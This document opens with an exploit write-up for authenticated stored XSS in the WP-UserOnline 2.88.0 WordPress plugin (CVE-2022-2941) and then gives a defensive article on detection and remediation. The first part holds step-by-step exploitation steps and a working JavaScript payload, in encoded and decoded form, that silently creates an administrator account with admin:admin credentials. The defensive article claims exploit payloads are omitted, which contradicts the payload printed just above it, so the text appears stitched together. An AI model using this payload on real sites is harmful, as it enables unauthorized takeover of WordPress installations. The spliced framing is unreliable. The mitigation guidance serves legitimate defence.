WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) (Authenticated)
# Exploit Title: WP-UserOnline 2.88.0 - Stored Cross Site Scripting (XSS) (Authenticated)
# Google Dork: inurl:/wp-content/plugins/wp-useronline/
# Date: 2024-06-12
# Exploit Author: Onur Göğebakan
# Vendor Homepage: https://github.com/lesterchan/wp-useronline
# Software Link: https://downloads.wordpress.org/plugin/wp-useronline.2.88.0.zip
# Category: Web Application
# Version: 2.88.0
# Tested on: WordPress 6.5.4 - Windows 10
# CVE : CVE-2022-2941
# Explanation:
A new administrator user can be added to WordPress using a stored XSS vulnerability.
# Exploit:
1. Visit http://poc.test/wp-admin/options-general.php?page=useronline-settings
2. Click Save and intercept the request.
3. Change `naming%5Bbots%5D` parameter value with belowed payload
```
%3Cscript%3E+function+handleResponse%28%29+%7B+var+nonce+%3D+this.responseText.match%28%2Fname%3D%22_wpnonce_create-user%22+value%3D%22%28%5Cw%2B%29%22%2F%29%5B1%5D%3B+var+changeReq+%3D+new+XMLHttpRequest%28%29%3B+changeReq.open%28%27POST%27%2C%27%2Fwp-admin%2Fuser-new.php%27%2Ctrue%29%3B+changeReq.setRequestHeader%28%27Content-Type%27%2C%27application%2Fx-www-form-urlencoded%27%29%3B+var+params+%3D+%27action%3Dcreateuser%26_wpnonce_create-user%3D%27%2Bnonce%2B%27%26_wp_http_referer%3D%252Fwp-admin%252Fuser-new.php%27%2B%27%26user_login%3Dadmin%26email%3Dadmin%2540mail.com%26first_name%3D%26last_name%3D%26url%3D%26pass1%3Dadmin%26pass2%3Dadmin%26pw_weak%3Don%26role%3Dadministrator%26createuser%3DAdd%2BNew%2BUser%27%3B+changeReq.send%28params%29%3B+%7D+var+req+%3D+new+XMLHttpRequest%28%29%3B+req.onload+%3D+handleResponse%3B+req.open%28%27GET%27%2C+%27%2Fwp-admin%2Fuser-new.php%27%2C+true%29%3B+req.send%28%29%3B+%3C%2Fscript%3E
```
4. Payload executed when user visited http://poc.test/wp-admin/index.php?page=useronline
5. Administrator user added with admin:admin credentials.
# Decoded payload
```
function handleResponse() {
var nonce = this.responseText.match(/name="_wpnonce_create-user" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/wp-admin/user-new.php', true);
changeReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'action=createuser&_wpnonce_create-user=' + nonce +
'&_wp_http_referer=%2Fwp-admin%2Fuser-new.php' +
'&user_login=admin&email=admin%40mail.com&first_name=&last_name=&url=&pass1=admin&pass2=admin&pw_weak=on&role=administrator&createuser=Add+New+User';
changeReq.send(params);
}
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/wp-admin/user-new.php', true);
req.send();
``` WP-UserOnline 2.88.0 — Stored Cross‑Site Scripting (Authenticated): Overview, Impact, and Mitigation
This article explains the authenticated stored Cross‑Site Scripting (XSS) vulnerability reported for the WP-UserOnline plugin (version 2.88.0, tracked as CVE‑2022‑2941). It covers how the issue arises, the risk it poses in WordPress environments, detection and containment advice, and practical, secure remediation patterns plugin authors and site operators should apply. For safety and responsible disclosure reasons, concrete exploit payloads and step‑by‑step exploitation instructions are intentionally omitted.
Quick summary
- Vulnerability class: Stored Cross‑Site Scripting (XSS), authenticated context.
- Affected component: WP-UserOnline plugin (v2.88.0) — certain settings were stored without proper sanitization/escaping.
- Impact: Execution of arbitrary JavaScript in an administrative or privileged user’s browser, including potential account takeover, privilege escalation, or persistent backdoor creation.
- Remediation: Update plugin to the vendor patched release (or latest version), sanitize/escape inputs and outputs, enforce capability and nonce checks, and audit the site for malicious persistence.
How this class of vulnerability typically works (high level)
A stored XSS occurs when attacker-controlled input is saved by the server and later rendered in a web page without safe escaping, so that a victim’s browser executes injected script code. In an authenticated stored XSS the initial saving action requires authentication (often lower‑privileged), but the payload executes later in the context of a higher‑privileged user (e.g., an administrator), enabling actions that the original actor could not normally perform.
Why WP management panels are high‑value targets
- Administrative pages often contain powerful JavaScript and privileged APIs.
- Scripts executed in an administrator’s session can manipulate user accounts, change plugin/theme settings, or plant persistent backdoors in code or the database.
- Because WordPress uses cookies and nonces, an XSS that runs in an admin browser can abuse those tokens to perform privileged POST actions.
Root cause analysis
At a high level, the issue stemmed from settings or option fields that accepted user input and stored it without sufficient server‑side sanitization and without escaping the value when output into the administrative interface. When an attacker can save markup that later appears inside an admin page without being escaped, the injected markup runs in the admin’s browser context.
Common coding mistakes that enable stored XSS
- Direct echoing of option values in admin pages without escaping (e.g., echo $option_value;).
- Failing to sanitize incoming values on save (relying on client‑side validation only).
- Not using WordPress APIs that register, sanitize, and validate options (e.g., register_setting with a sanitization callback).
- Saving data that contains HTML or script without strict, whitelist‑based filtering.
Impact and attacker capabilities
Because the malicious script executes in an administrative browser session, impacts include but are not limited to:
- Creation or modification of administrator accounts.
- Exporting database contents or configuration values accessible to the admin.
- Installing/activating plugins or themes that provide persistent backdoors.
- Pivoting to other systems that trust the WordPress admin session.
The precise required privilege to plant the stored payload differs per plugin and site configuration. In general: if an attacker can submit content that is saved to the database and subsequently viewed by an admin, there is a risk.
Detection — how to find if your site was abused
Detection should focus on two streams: discovering stored malicious content, and identifying abnormal administrative actions or new privileged accounts.
- Search for injected scripts in persisted storage
- Check the options and plugin settings stored in the database; many plugins store their options in the wp_options table.
- Look for
<script>tags or other suspicious patterns. Example queries (read‑only checks) can help locate likely injections.
- Check for unexpected admin users or changed credentials
- List users and inspect recently created users with administrator roles.
- Check usermeta for unexpected capabilities or role changes.
- Inspect webserver and application logs
- Search for unusual POSTs to admin endpoints or mass requests to create users/settings.
- Look for suspicious referers and repeated accesses to the plugin’s admin pages.
Useful safe detection examples
# Example: find options containing script tags (MySQL read-only SELECT)
SELECT option_id, option_name
FROM wp_options
WHERE option_value LIKE '%<script%';
Explanation: This query searches plugin and theme options for strings that include the literal "<script". Use it as an investigative read‑only check. Adjust table prefix if not using wp_.
# Example: list WordPress administrators using WP‑CLI
wp user list --role=administrator --format=table
Explanation: The WP‑CLI command lists users who have the administrator role; it helps spot new or unexpected admin accounts. If suspicious accounts appear, disable them and reset credentials immediately.
Immediate containment and incident response
- Temporarily restrict or remove access to the vulnerable settings page by disabling the plugin or setting it to inactive.
- Reset administrator passwords and invalidate active sessions (WordPress action: invalidate_auth_cookie or use a plugin to force logout all users).
- Revoke or rotate credentials and tokens that may have been exposed (API keys, external service tokens in settings).
- Audit newly created users and remove unauthorized administrator accounts.
- Restore from a trusted backup if you find evidence of persistence beyond the database (modified files, backdoor code).
Remediation: code‑level fixes plugin authors should apply
Plugin authors must ensure both input sanitization on save and proper escaping on output. Additionally, saving of settings should be limited by capability checks and verified nonces.
Use the WordPress Settings API with sanitization callback
register_setting(
'my_plugin_options_group',
'my_plugin_options',
array( 'sanitize_callback' => 'my_plugin_options_sanitize' )
);
function my_plugin_options_sanitize( $input ) {
// Sanitize string entries
if ( isset( $input['bot_name'] ) ) {
$input['bot_name'] = sanitize_text_field( $input['bot_name'] );
}
// Use a whitelist if HTML is genuinely needed:
// $input['allowed_html_field'] = wp_kses( $input['allowed_html_field'], $allowed_html );
return $input;
}
Explanation: register_setting registers a settings group and attaches a sanitization callback that runs server‑side when options are saved. sanitize_text_field strips tags and encodes bad characters. If HTML is required, use wp_kses with a strict whitelist.
Always escape when outputting values into admin pages
<input type="text" name="my_plugin_options[bot_name]" value="<?php echo esc_attr( $options['bot_name'] ?? '' ); ?>" />
Explanation: esc_attr ensures values rendered in attributes do not contain executable markup. Use esc_html when rendering into HTML content, and esc_url for URLs.
Enforce capability and nonce checks on direct handlers
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( 'Insufficient privileges.' );
}
check_admin_referer( 'my_plugin_save_options_nonce' );
Explanation: Capability checks ensure only users with the correct role can perform sensitive actions. Nonce verification prevents CSRF and helps stop unauthorized automated saves.
Preventive best practices for site operators
- Keep plugins, themes, and core up to date; apply vendor patches promptly.
- Restrict plugin management and options editing to minimal set of trusted administrators.
- Use security plugins and Web Application Firewalls (WAF) with XSS detection rules where practical.
- Harden admin access: restrict by IP, enforce 2FA for admin accounts, and limit login attempts.
- Monitor site integrity (file change monitoring) and schedule regular backups isolated from the web server.
How to verify you are using a patched version
Always consult the official plugin repository or vendor advisories. The vendor’s changelog and GitHub (or WordPress.org) release notes will state fixes for security issues. If a named CVE exists for a plugin, check the upstream advisory and the plugin’s release history to confirm the release that contains the fix, then upgrade to that or a later version.
Upgrade checklist
- Confirm the plugin version installed in the WordPress admin or by checking plugin header files.
- Back up database and files before upgrading.
- Review changelog/release notes and vendor security advisories for the patched version.
- After upgrade, re‑scan for injected artifacts and newly created accounts.
Summary
Authenticated stored XSS in admin‑visible plugin settings is a serious threat because it enables JavaScript execution in high‑privilege contexts. The correct mitigation is layered: update affected plugins, sanitize and escape data at the plugin level, enforce capability and nonce checks, and perform forensic reviews if exploitation is suspected. Plugin authors should leverage the WordPress Settings API, use appropriate sanitizers/escapers (e.g., sanitize_text_field, wp_kses, esc_attr), and minimize the attack surface by limiting who can change settings.
| Action | Why |
|---|---|
| Upgrade plugin to patched release | Removes the vulnerability from the codebase |
| Sanitize inputs and escape outputs | Prevents storing and executing attacker‑controlled markup |
| Audit database for injected content | Identifies persistence and indicators of compromise |
| Rotate credentials and remove suspicious users | Mitigates attacker access via created accounts |